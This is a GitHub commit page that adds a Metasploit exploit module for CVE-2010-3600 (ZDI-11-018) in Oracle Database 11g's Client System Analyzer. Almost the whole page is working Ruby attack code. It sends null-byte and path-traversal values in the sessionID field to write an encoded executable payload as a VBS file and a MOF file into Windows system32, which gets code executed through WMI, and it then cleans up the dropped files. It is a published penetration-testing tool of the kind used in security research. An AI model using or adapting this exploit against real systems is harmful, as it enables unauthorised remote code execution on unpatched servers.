Skip to content

Commit 2169383

Browse files
author
jvazquez-r7
committed
Added module for ZDI-11-018
1 parent 3df9dfc commit 2169383

File tree

1 file changed

+176
-0
lines changed

1 file changed

+176
-0
lines changed

‎modules/exploits/windows/oracle/client_system_analyzer_upload.rb

Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] }
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::EXE
17+
include Msf::Exploit::WbemExec
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Oracle Database Client System Analyzer Arbitrary File Upload',
22+
'Description' => %q{
23+
This module exploits an arbitrary file upload vulnerability on the Client
24+
Analyzer component as included in Oracle Database 11g, which allows remote
25+
attackers to upload and execute arbitrary code. This module has been tested
26+
successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2, where execution
27+
through the Windows Management Instrumentation service has been used.
28+
},
29+
'Author' =>
30+
[
31+
'1c239c43f521145fa8385d64a9c32243', # Vulnerability discovery
32+
'juan vazquez' # Metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => [ 'win' ],
36+
'Privileged' => true,
37+
'References' =>
38+
[
39+
[ 'CVE', '2010-3600' ],
40+
[ 'OSVDB', '70546'],
41+
[ 'BID', '45883'],
42+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-018/' ],
43+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ]
44+
],
45+
'Targets' =>
46+
[
47+
[ 'Oracle Oracle11g 11.2.0.1.0 / Windows 2003 SP2', {} ]
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => 'Jan 18 2011'
51+
))
52+
53+
register_options(
54+
[
55+
Opt::RPORT(1158),
56+
OptBool.new('SSL', [true, 'Use SSL', true]),
57+
OptInt.new('DEPTH', [true, 'Traversal depth to reach the root', 13])
58+
], self.class )
59+
end
60+
61+
def on_new_session(client)
62+
63+
return if not @var_mof_name
64+
return if not @var_vbs_name
65+
66+
if client.type != "meterpreter"
67+
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
68+
print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
69+
return
70+
end
71+
72+
# stdapi must be loaded before we can use fs.file
73+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
74+
75+
cmd = "C:\\windows\\system32\\attrib.exe -r " +
76+
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
77+
78+
client.sys.process.execute(cmd, nil, {'Hidden' => true })
79+
80+
begin
81+
print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
82+
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
83+
print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
84+
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
85+
rescue ::Exception => e
86+
print_error("Exception: #{e.inspect}")
87+
end
88+
89+
end
90+
91+
def upload_file(data)
92+
res = send_request_cgi(
93+
{
94+
'uri' => '/em/ecm/csa/v10103/CSAr.jsp',
95+
'version' => '1.1',
96+
'method' => 'POST',
97+
'ctype' => "application/x-www-form-urlencoded",
98+
'data' => data,
99+
})
100+
101+
return res
102+
end
103+
104+
def check
105+
106+
file_name = rand_text_alpha(rand(5)+5)
107+
file_contents = rand_text_alpha(rand(20)+20)
108+
109+
data = "sessionID=#{file_name}.txt\x00.xml"
110+
data << "\x0d\x0a"
111+
data << Rex::Text.uri_encode(file_contents)
112+
113+
print_status("Uploading the CSA#{file_name}.txt file")
114+
res = upload_file(data)
115+
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
116+
print_error("The test file could not be uploaded")
117+
return Exploit::CheckCode::Safe
118+
end
119+
120+
print_status("Checking uploaded contents...")
121+
res = send_request_cgi(
122+
{
123+
'uri' => "/em/CSA#{file_name}.txt",
124+
'method' => 'GET'
125+
})
126+
127+
if res and res.code == 200 and res.body =~ /#{file_contents}/
128+
return Exploit::CheckCode::Vulnerable
129+
end
130+
131+
return Exploit::CheckCode::Appears
132+
133+
end
134+
135+
def exploit
136+
137+
# In order to save binary data to the file system the payload is written to a .vbs
138+
# file and execute it from there.
139+
@var_mof_name = rand_text_alpha(rand(5)+5)
140+
@var_vbs_name = rand_text_alpha(rand(5)+5)
141+
142+
print_status("Encoding payload into vbs...")
143+
# Only 100KB can be uploaded by default, because of this "to_win32pe_old" is used,
144+
# the "new" template is too big in this case.
145+
exe = Msf::Util::EXE.to_win32pe_old(framework, payload.encoded)
146+
# The payload is embedded in a vbs and executed from there to avoid badchars that
147+
# URLDecoder.decode (jsp) is unable to decode correctly such as 0x81, 0x8d, 0x8f,
148+
# 0x90 and 0x9d
149+
vbs = Msf::Util::EXE.to_exe_vbs(exe)
150+
151+
print_status("Generating mof file...")
152+
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
153+
154+
traversal = "..\\" * datastore['DEPTH']
155+
data = "sessionID=#{traversal}\\WINDOWS\\system32\\#{@var_vbs_name}.vbs\x00.xml"
156+
data << "\x0d\x0a"
157+
# The data to upload must be uri encoded because the vulnerable jsp will use
158+
# URLDecoder.decode on it before writting to file.
159+
data << Rex::Text.uri_encode(vbs)
160+
print_status("Uploading the payload into the VBS to c:\\WINDOWS\\system32\\#{@var_vbs_name}.vbs...")
161+
res = upload_file(data)
162+
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
163+
fail_with(Exploit::Failure::Unknown, 'VBS upload failed')
164+
end
165+
166+
data = "sessionID=#{traversal}WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof\x00.xml"
167+
data << "\x0d\x0a"
168+
data << Rex::Text.uri_encode(mof_content)
169+
print_status("Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof...")
170+
res = upload_file(data)
171+
if not res or res.code != 200 or (res.body !~ /posted data was written to placeholder file/ and res.body !~ /csaPostStatus=0/)
172+
fail_with(Exploit::Failure::Unknown, 'MOF upload failed')
173+
end
174+
175+
end
176+
end

0 commit comments

Comments
 (0)